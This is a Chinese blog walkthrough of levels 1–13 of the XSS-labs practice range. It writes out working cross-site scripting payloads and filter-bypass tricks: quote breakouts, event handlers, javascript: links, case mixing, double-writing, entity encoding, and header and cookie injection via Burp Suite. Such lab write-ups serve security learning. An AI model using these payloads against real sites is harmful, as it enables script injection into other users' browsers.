【XSS漏洞-05】XSS-labs靶场通关大挑战

最新推荐文章于 2024-04-22 10:47:06 发布
最新推荐文章于 2024-04-22 10:47:06 发布
阅读量2.7k 收藏 50
点赞数 6
分类专栏： # 入门07 Web安全之渗透测试 文章标签： xss通关
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/m0_64378913/article/details/124720354
版权

目录

1 实验简介

实验网站/靶场：http://test.ctf8.com/。

实验目的：

  • 熟悉XSS漏洞测试的过程；
  • 判断是否过滤与过滤规则；
  • 练习XSS语句构造与绕过方法；
  • 一边练习一边结合SQL注入进行比较；
  • 一边练习一边思考编码与转码，后续补充这一方面的学习。

2 XSS通关过程

2.0 通关前注意

在测试过程中，有哪些东西是我们可以利用来猜测与判断的：

  • 网页页面的变化；
  • 审查网页元素；
  • 查看网页源码；

如果是白盒测试，还可以进行代码审计。

一个好用的xss测试代码：<script " 'Oonn>，方便我们测试网页后台对输入语句的过滤规则。利用该语句输入后，审查源码，猜测是否过滤以及过滤规则是什么。

2.1 关卡1

（1）打开实验网站。在浏览器输入网址http://test.ctf8.com/进入xss实验网站，并点击图片，进入测试关卡1.
在这里插入图片描述

（2）测试网页过滤规则。将参数修改为测试神句?name=<script " 'Oonn>回车。发现网页一片空白，无事发生。
在这里插入图片描述
（3）查看源代码推导过滤规则。右键页面查看一下网页源码，在第16号，发现所有符号都没过滤，也没有转义，构造的语句完完整出现在这里。
在这里插入图片描述

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>欢迎来到level1</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level1</h1>
<h2 align=center>欢迎用户<script " 'OOnn></h2><center><img src=level1.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>

（4）构造xss漏洞验证代码并验证。修改参数为?name=<script>alert(/xss/)</script>，页面弹窗。
在这里插入图片描述

2.2 关卡2

（1）点击确定进入关卡2，页面如下，有一个搜索输入框。
在这里插入图片描述
（2）测试网页过滤规则。在搜索框中输入xss测试语句：<script " 'Oonn>，回车，无事发生。我们可以看到输入框中没有显示出双引号，所以此处语句应该是被双引号闭合。
在这里插入图片描述

（3）查看源代码推导过滤规则。

  • 在第18行，可以看到输入的参数是被双引号闭合着带入到input标签中。
  • 对此，我们需要在①开头构造一个">把标签input标签闭合掉，再在之后②拼接一个<script>alert(/xss/)</script>语句，这样我们构造的标签就能顺利被编译，而不是简单字符串了，另外③还需要在结尾构造一个"<把input剩下的尖括号闭合掉。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>欢迎来到level2</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="<script " 'OOnn>">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>

（4）构造xss漏洞验证代码并验证。修改参数为"><script>alert(/xss/)</script><"，页面弹窗。
在这里插入图片描述

2.3 关卡3

（1）点击确定进入关卡3，页面如下，有一个搜索输入框。
在这里插入图片描述

（2）测试网页过滤规则。在搜索框输入测试语句:<script " 'Oonn>，点搜索，无事发生。仅能看到输入框的内容里没有单引号，因此我们猜测该输入参数是被单引号闭合的。
在这里插入图片描述
（3）查看源代码推导过滤规则。

  • 在第18行可以看到，大小于号和双引号被转义，但是单引号没有被转义且参数是用单引号闭合的。
  • 由于大于号被转义，我们需要使用哪些不需要用到标签的语句来触发XSS漏洞比如说用事件触发的形式，同时且开头需要使用单引号’与input标签属性原有的开头单引号闭合，结尾需要单引号与与input标签属性单有的结尾单引号闭合。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>欢迎来到level3</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level3</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level3.php method=GET>
<input name=keyword  value='&lt;script &quot; 'OOnn&gt;'>
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level3.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>

（4）构造xss漏洞验证代码并验证。输入参数'onmouseover='alert(/xss/)并点击搜索，当我们将鼠标移动至输入框时，触发事件，就弹出窗口。
在这里插入图片描述

2.4 关卡4

（1）点击确定进入关卡4，页面如下，有一个搜索输入框。
在这里插入图片描述

（2）测试网页过滤规则。在搜索框输入测试语句：<script " 'Oonn>点搜索，无事发生。我们看到搜索框里没有小于号，估计是被转义了，内容也是到script截止，猜测内容是由双引号闭合的。
在这里插入图片描述
（3）查看源代码推导过滤规则。

  • 可以看到第18，大小于号（尖括号）已被过滤，引号没有被过滤或转义，参数采用的是双引号的闭合方式。
  • 因此本题构造语句需要使用事件触发类型的，避免使用大小于号（尖括号），且开头需要使用双引号"与input标签属性原有的开头双引号闭合，结尾需要双引号与与input标签属性原有的结尾双引号闭合。
  • 在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>欢迎来到level4</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level4</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form action=level4.php method=GET>
<input name=keyword  value="script " 'OOnn">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level4.png></center>
<h3 align=center>payload的长度:14</h3></body>
</html>

（4）构造xss漏洞验证代码并验证。修改参数为"onmouseover="alert(/xss/)，点击搜索时，没有弹出窗口，但是当我们将鼠标移动至输入框时，触发事件，就弹出窗口。
在这里插入图片描述

2.5 关卡5

（1）点击确定进入关卡5，页面如下，有一个搜索输入框。
在这里插入图片描述
（2）测试网页过滤规则。在搜索框输入测试语句：<script " 'Oonn>，显示如下。
在这里插入图片描述

（3）查看源代码推导过滤规则。

  • 在第18行我们发现script和on开头的两个关键字都被转义，大小于号和引号没有被过滤与转义。同时语句采用双引号闭合方式。
  • 对此，我们可测试其他关键字语句比如<a href="javascript:alert(/xss/)">。同时①开头构造一个">把标签input标签闭合掉，再在之后②拼接一个<a href="javascript:alert(/xss/)">语句，这样我们构造的标签就能顺利被编译，而不是简单字符串了，另外③还需要在结尾构造一个"<把input剩下的尖括号闭合掉。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>欢迎来到level5</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level5</h1>
<h2 align=center>没有找到和&lt;script &quot; 'oonn&gt;相关的结果.</h2><center>
<form action=level5.php method=GET>
<input name=keyword  value="<scr_ipt " 'oo_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level5.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>

（4）构造xss漏洞验证代码并验证。构造参数为"><a href="javascript:alert(/xss/)">click me!</a><"，点击搜索，出现页面如下，单击click me后出现弹窗。
在这里插入图片描述

2.6 关卡6

（1）点击确定进入关卡6，页面如下，有一个搜索输入框。
在这里插入图片描述

（2）测试网页过滤规则。在搜索框输入测试语句，<script " 'Oonn>，显示如下。
在这里插入图片描述
（3）查看源代码推导过滤规则。

  • 在第18行，发现script和on开头关键字被转义，大小于号没有被过滤与转义，引号没有被过滤与转义且没有对大小写进行转化。语句采用双引号闭合方式。
  • 对此，我们可对关键字进行大小写混编进行尝试，"><SCript>alert(/xss/)</SCript>"<。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>欢迎来到level6</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level6</h1>
<h2 align=center>没有找到和&lt;script &quot; 'Oonn&gt;相关的结果.</h2><center>
<form action=level6.php method=GET>
<input name=keyword  value="<scr_ipt " 'OO_nn>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level6.png></center>
<h3 align=center>payload的长度:18</h3></body>
</html>

（4）构造xss漏洞验证代码并验证。修改参数为"><SCript>alert(/xss/)</SCript>"<，点击搜索如下。通关。
在这里插入图片描述

2.7 关卡7

（1）点击确定进入关卡7，页面如下，有一个搜索输入框。
在这里插入图片描述
（2）测试网页过滤规则。在搜索框输入测试语句，<script " 'Oonn>，显示如下。
在这里插入图片描述

（3）查看源代码推导过滤规则。

  • 在第18行我们看到，script被过滤，同时on也被过滤了一次，其余符号(尖括号、单双引号)均没进行处理。同时，语句采用双引号闭合方式。
  • 对此，考虑双写绕过。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>欢迎来到level7</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level7</h1>
<h2 align=center>没有找到和&lt;script &quot; 'oonn&gt;相关的结果.</h2><center>
<form action=level7.php method=GET>
<input name=keyword  value="< " 'on>">
<input type=submit name=submit value=搜索 />
</form>
</center><center><img src=level7.png></center>
<h3 align=center>payload的长度:8</h3></body>
</html>

（4）构造xss漏洞验证代码并验证。构造参数如" oonnmouseover="alert(/xss/)，成功通关。
在这里插入图片描述

2.8 关卡8

（1）点击确定进入关卡8，页面如下，有一个搜索输入框。
在这里插入图片描述

（2）测试网页过滤规则。在搜索框输入测试语句，<script " 'Oonn>，显示如下。与上面实验均不同的是，此处将我们所有输入都输出在框里。
在这里插入图片描述

（3）查看源代码推导过滤规则。

  • 在第18行可以看到，大小于号被转义、双引号被转义、单引号没事、关键字没事，同时，语句采用双引号闭合方式
  • 在第21行中，我们看到参数被传递到a标签的herf属性中，大小于号被转义回来，双引号还是被转义着、关键字被插入下划线，单引号没事。
  • 对此，考虑注入href的伪协议。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>欢迎来到level8</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level8</h1>
<center>
<form action=level8.php method=GET>
<input name=keyword  value="&lt;script &quot; 'oonn&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="<scr_ipt &quot 'oo_nn>">友情链接</a></center><center><img src=level8.jpg></center>
<h3 align=center>payload的长度:22</h3></body>
</html>

（4）构造xss漏洞验证代码并验证。

  • 构造参数为 javascript:alert(/xss/)，网页显示如下，点击”友情链接后，没有按照预期弹窗“
  • 在这里插入图片描述

在这里插入图片描述

  • 查看源码查找原因：
    ①在第21行中，可以看到伪协议中的script被插入了下划线。
    ② 对此，考虑对部分字符进行编码。
    在这里插入图片描述
    （5）再次构造xss漏洞验证代码并验证。在构造参数的script中的c转码，修改参数为javas&#x63;ript:alert(/xss/)，完成后点击友情链接触发XSS。
    在这里插入图片描述

2.9 关卡9

（1）点击确定进入关卡9，页面如下，有一个搜索输入框。
在这里插入图片描述
（2）测试网页过滤规则。在搜索框输入测试语句，<script " 'Oonn>，显示如下。
在这里插入图片描述
（3）查看源代码推导过滤规则。

  • 在第18行，我们看到大小于号被转义、双引号被转义、单引号没事、关键字没事、大写变小写。同时，参数采用双引号闭合。
  • 在第21行，与上一关类似的，参数被传递到href参数中，但是此处显示链接不合法，具体怎么不合法的没有说，在没有代码审计的情况下，只能一步步尝试什么格式才是合法的。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level9</h1>
<center>
<form action=level9.php method=GET>
<input name=keyword  value="&lt;script &quot; 'oonn&gt;">
<input type=submit name=submit value=添加友情链接 />
</form>
</center><center><BR><a href="您的链接不合法？有没有！">友情链接</a></center><center><img src=level9.png></center>
<h3 align=center>payload的长度:22</h3></body>
</html>

（4）解决参数不合法的问题。由于输入参数会赋给href，属于一个链接，因此猜测是否输入参数需要含http://才合法。输入参数为http://xxx.xxx并提交，查看源码发现现在链接是合法的，我们估计是加了http://这个信息的缘故。
在这里插入图片描述
（5）构造xss漏洞验证代码并验证。修改参数为：javascript:alert('http://')，让内容中含有http://这一段字符串，发现仍然执行失败，再次查看源代码，发现链接处还过滤关键字script。
在这里插入图片描述

（6）再次构造xss漏洞验证代码并验证。修改参数为：javas&#x63;ript:alert('http://')，让内容中含有http://这一段字符串，成功执行。
在这里插入图片描述

2.10 关卡10

（1）点击确定进入关卡10，页面如下，有一个搜索输入框。
在这里插入图片描述
（2）测试网页过滤规则。在搜索栏将参数改为?keyword=<script " 'Oonn>，显示如下。
在这里插入图片描述

（3）查看源代码推导过滤规则。

  • 发现第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
  • 在第18、19、20行，发现另外三个输入参数，分别是t_link、t_history、t_sort，考虑将测试语句依次传入进行测试。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level10</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level10</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
</form>
</center><center><img src=level10.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>

（4）再次测试网页过滤规则。当在搜索栏将参数改为?t_sort=<script " 'Oonn>时，看到源码中出现我们输入的参数值。

  • 在第20行，大小于号被过滤，其余没事，参数采用双引号闭合。
  • 对此，考虑不需要大小于号的事件触发方式构造语句。
    在这里插入图片描述
    （5）构造xss漏洞验证代码并验证。我们修改参数为?t_sort=click me!" type="button" onmouseover="alert(/xss/)。页面显示如下，鼠标移动到按钮上，出现弹窗表示通过。
  • ?t_sort=表示参数是传递给谁；
  • click me!"给input赋值同时闭合双引号；
  • 修改type属性为按钮方便事件触发；
  • onmouseover则表示鼠标移动到按钮上时触发事件。
    在这里插入图片描述

2.11 关卡11

（1）点击确定进入关卡11，页面如下，有一个搜索输入框。
在这里插入图片描述
（2）测试网页过滤规则。在搜索栏将参数改为?keyword=<script " 'Oonn>，显示如下。
在这里插入图片描述
（3）查看源代码推导过滤规则。

  • 发现第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
  • 在第18、19、20、21行，发现另外四个输入参数，分别是t_link、t_history、t_sort、t_ref，考虑将测试语句依次传入进行测试。
    在这里插入图片描述
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错！");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>欢迎来到level11</title>
</head>
<body>
<object style="border:0px" type="text/x-scriptlet" data="http://xss.tv/themes/default/templates/head.html" width=100% height=50></object>
<h1 align=center>欢迎来到level11</h1>
<h2 align=center>没有找到和&lt;script &quot; 'OOnn&gt;相关的结果.</h2><center>
<form id=search>
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="" type="hidden">
<input name="t_ref"  value="" type="hidden">
</form>
</center><center><img src=level11.png></center>
<h3 align=center>payload的长度:16</h3></body>
</html>

（4）再次测试网页过滤规则。当给t_link、t_history和t_ref传入参数时，源码中value值均没有响应，而当传入参数为?t_sort=<script " 'Oonn>时，源码如下：

  • 发现第20行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
  • 方法一：尝试从 keyword 和 t_sort 进行突破，两者的过滤规则是一样的，需要用双引号进行闭合但是双引号被转义。尝试过对大小于号、双引号进行编码以求绕过，发现还是不行。
  • 方法二：其他三个参数时均没有显示，可能该参数不是通过url地址栏传递的，比如说t_ref有可能是http的referer头部信息。
    在这里插入图片描述

（5）为了测试http请求其他位置的输入，比如referer，我们需要借助BurpSuite工具（安装及应用可具体参考《【Burp Suite工具-1】BurpSuite简介及安装过程详解》、《【Burp Suite工具-2】BurpSuite工作原理及菜单栏介绍》）来修改http请求，将请求发到repeater模块，在host下新增一行referer:<script " 'Oonn>，点击send。在回包中看到t_ref参数显示出我们的参数，没有任何过滤。
在这里插入图片描述
（6）构造xss漏洞验证代码并验证。回到proxy模块，再次获取请求，并修改参数如下：referer:click me!" type="button" onmouseover="alert(/xss/)，点击forward。
在这里插入图片描述

（7）回到浏览器，如下，鼠标移动到按钮处则弹窗。
在这里插入图片描述

2.12 关卡12

（1）点击确定进入关卡12，页面如下，有一个搜索输入框。
在这里插入图片描述
（2）测试网页过滤规则。在搜索栏将参数改为?keyword=<script " 'Oonn>，显示如下。
在这里插入图片描述
（3）查看源代码推导过滤规则。

  • 在第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
  • 在第18、19、20、21行，发现另外四个输入参数，分别是t_link、t_history、t_sort、t_ua，看到t_ua后面的值，属于User-Agent参数，因此我们可能和11关类似，需要借助burpsuote工具修改http请求头信息。
    在这里插入图片描述
    （3）同样的，利用BurpSuite获取到浏览器的请求，来修改http请求头信息。将拦截到的请求发到repeater模块，通过修改User-Agent参数为<script " 'Oonn>，点击send。在回包中看到t_ua参数显示出我们的参数，只过滤了尖括号。
    在这里插入图片描述
    （4）构造xss漏洞验证代码并验证。回到proxy模块，再次获取请求，并修改User-Agent参数为click me!" type="button" onmouseover="alert(/xss/)，点击forward。
    在这里插入图片描述

（5）回到浏览器，如下，鼠标移动到按钮处则弹窗。
在这里插入图片描述

2.13 关卡13

（1）点击确定进入关卡13，页面如下，有一个搜索输入框。
在这里插入图片描述
（2）测试网页过滤规则。在搜索栏将参数改为?keyword=<script " 'Oonn>，显示如下。
在这里插入图片描述

（3）查看源代码推导过滤规则。

  • 在第16行大小于号被转义、双引号都被转义、单引号没事、关键字没事，大写没有转化为小写。同时语句采用双引号闭合。
  • 在第18、19、20、21行，发现另外四个输入参数，分别是t_link、t_history、t_sort、t_cook，看到t_cook参数，猜测这次应该是通过cookie输入参数。因此我们可能和11关类似，需要借助burpsuote工具修改http请求头信息。
    在这里插入图片描述
    （3）同样的，利用BurpSuite获取到浏览器的请求，来修改http请求头信息，将拦截到的请求发到repeater模块。由于请求中的COOKIE参数的user值与源代码中的一致，因此修改COOKIE参数中的user值为<script " 'Oonn>，点击send。在回包中看到t_cook参数显示出我们的参数，只过滤了尖括号。
    在这里插入图片描述
    （4）构造xss漏洞验证代码并验证。回到proxy模块，再次获取请求。并将COOKIE参数中的user值修改为click me!" type="button" onmouseover="alert(/xss/)，点击forward。
    在这里插入图片描述

（5）回到浏览器，如下，鼠标移动到按钮处则弹窗。
在这里插入图片描述

3 总结

（1）通过测试语句执行情况、网页源码等，进行如下判断：

  • 1）判断大小于号是否过滤与转义；
  • 判断单双引号是否过滤与转义；
  • 判断关键字是否过滤与转义；
  • 判断大小写是否转化；
  • 判断语句闭合方式。

（2）额外地，可以分析是否存在其他注入点。
（3）根据判断结果，灵活构造语句与利用绕过规则。

像风一样9
关注
  • 6
    点赞
  • 踩
  • 50
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
xss-labs-master.zip（xss注入通关游戏/靶场）
03-21
`xss-labs-master.zip`包含了一个专门用于学习和实践XSS注入的通关游戏或靶场，对于网络安全测试人员来说，这是一个极好的学习资源。 **XSS分类** 1. **存储型XSS**：也称为持久型XSS，攻击者将恶意脚本存入服务器...
xss-labs靶场通关
10-13
xss-labs靶场通关 本篇文章将对xss-labs靶场的六关源码进行详细的分析和总结，并对每一关的xss攻击payload进行解释。 第一关 xss-labs靶场的第一关源码没有做任何过滤，直接上xss payload：<script>alert("XSS")...
收集了一些XSS攻击平台
gdhjgfr的博客
11-04 1807
分享一下我老师大神的人工智能教程！零基础，通俗易懂！http://blog.csdn.net/jiangjunshow也欢迎大家转载本篇文章。分享知识，造福人民，实现我们中华民族伟大复兴！&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Attack APIB
xss-labs靶场实战全通关详细过程（xss靶场详解）
热门推荐
金 帛的博客
07-13 3万+
xss靶场一到二十关通关详细教程
XSS靶场闯关(xss-labs)
最新发布
小郑的博客
04-22 1930
对数据进行了是否含有http://做了判断，并对关键字做了替换，把数据加到了a标签的href属性中，在属性中的数据可以考虑编码，并利用js的注释符//注释掉http://当前页面上有两个输出地方，一个输出到了h2标签，后台进行了实体编码，另一个输出到input标签的value属性，没有进行html实体编码，考虑闭合input标签。对on，script进行了替换，将数据加到了input标签的value属性中，没有进行实体编码处理，可以考虑a标签的href属性，可以直接写伪协议。
xss-labs靶场全通关
m0_52051132的博客
10-15 1586
在这里关于 如何搭建靶场的就不再赘述了，可以在本地用phpstudy来搭建的。建议使用火狐浏 览器，访问http://ip/xss-labs点击图片开始你的xss之旅吧!
【XSS-labs靶场通关详解】
一纸荒芜的博客
10-16 1619
xss-labs也是非常适合新手练习的靶场，本期为大家带来靶场通关教程以及介绍一下xss漏洞的防御方式和好用的xss工具。
【XSS 学习笔记（二）】xss-labs靶场
jieli0901227的博客
12-03 606
XSS学习笔记
（网安小白）XSS靶场练习
qq_52958658的博客
05-20 164
学习记录
xss-labs-master.rar
05-09
"xss-labs-master.rar" 提供了一个针对XSS漏洞的专项练习平台，旨在帮助初学者及安全爱好者提升对XSS攻击的理解和防御能力。这个靶机资源共分为二十个关卡，由浅入深，逐步引导用户掌握XSS攻防的核心技巧。 一、XSS...
WEB渗透学习-XSS-labs靶场
04-20
**XSS（跨站脚本攻击）学习指南：XSS-labs靶场详解** XSS，全称为Cross-Site Scripting，是网络安全领域常见的漏洞类型之一。它允许攻击者通过注入恶意脚本到Web页面中，进而对用户浏览器进行操控。XSS-labs是一个...
XSS测试平台.zip
08-06
XSS测试平台是测试XSS漏洞获取cookie并接收Web页面的平台
xss-labs靶场，直接放到www目录下直接用，超方便
09-24
XSS-Labs是一个针对跨站脚本（Cross-Site Scripting，简称XSS）安全漏洞的专业靶场。这个靶场设计了一系列的挑战关卡，旨在帮助用户深入理解XSS攻击的原理、类型以及防御策略。通过实战演练，用户可以提升对XSS漏洞...
跨站脚本xss-test靶场
tlucky的博客
04-14 614
靶场地址：url：http://test.ctf8.com/ Level 1 页面没有文本框，但可以从URL下手 payload:test.ctf8.com/level1.php?name= Level 2 随便输入点什么，查看页面源码，发现我们输入的内容被困在了input的value属性内，那就闭合他们 payload:"> Level 3 <>被转义，所以不能再用标签，那就给input加一个onfocus事件 payload:’ οnfοcus=alert(‘ok’)// Le
XSS labs 闯关大合集
m0_62879498的博客
03-19 4046
XSS labs 闯关大合集 level 1 首先，一进入页面，我们发现图片中说：欢迎用户test ，结合我们看见url栏中 name=test 我们就会怀疑 网页将 name参数的值回显到页面中 我们尝试一下，让 name=hcj 查看回显。 查看页面源代码： <!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html
Web漏洞-XSS跨站之代码及Http Only绕过-XSS Labs靶场详细通关教程-WAF绕过及安全修复
ran的博客
03-29 1942
如果您在cookie中设置了HttpOnly属性，那么通过is脚本将无法读取到cookie信息，这样能有效的防止XSS攻击。如果httponly出现的话，使用XSS来获取cookie基本就可以被拦截下来。那么由此我们就会想到，如果遇到了httponly后，我们需要怎么进行操作呢？首先要想到的是，它知识阻止cookie被我们获取到，但是不会阻止跨站语句的执行。Web漏洞-XSS跨站之代码及Http Only绕过-XSS labs靶场详细通关教程-WAF绕过及安全修复
XSS入门 XSS Challenges靶场搭建/前五关/基础教程
ChenD的学习笔记
10-11 1121
XSSChallenges 前五关，XSS注入点判断
XSS-labs靶场1-13关解法答案
紫洋的博客
03-05 680
script>和数据只能有文本，不会有HTML解码和URL解码操作和里会有HTML解码操作，但不会有子元素其他元素数据（如div）和元素属性数据（如href）中会有HTML解码操作部分属性（如href）会有URL解码操作，但URL中的协议需为ASCIIJavaScript会对字符串和标识符Unicode解码根据浏览器的自动解码，反向构造 XSS Payload 即可。
一个XSS靶场练习记录
垃圾管理员的垃圾站
09-23 1万+
首先，传送门： http://xss.fbisb.com/yx/level1.php?name=test 其次，挑选合适的浏览器，我用的火狐。Chrome会阻断掉你的XSS注入。 level1： 产看下源码（ctrl + u）： <!DOCTYPE html><!--STATUS OK--><html> <head&g...
xss-labs靶场通关详解
08-26
对不起，我无法提供有关特定靶场 "xss-labs" 的详细通关解释，因为我无法直接访问互联网或搜索特定的信息。然而，XSS（跨站脚本攻击）是一种常见的网络安全漏洞，它允许攻击者将恶意的脚本注入到网页中，从而获取用户敏感信息或在用户浏览器中执行恶意操作。 通常，成功通过XSS-labs靶场的关键是了解XSS漏洞的原理和常见的防御措施。你可以通过学习相关的网络安全知识和参加相关的训练课程来提高对XSS漏洞的理解和攻防能力。同时，使用漏洞扫描工具和安全审计工具，如Burp Suite、OWASP ZAP等，可以帮助你发现并修复可能存在的XSS漏洞。 请记住，在进行任何安全测试或攻击前，确保获得合法的授权，并遵守适用的法律和道德准则。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值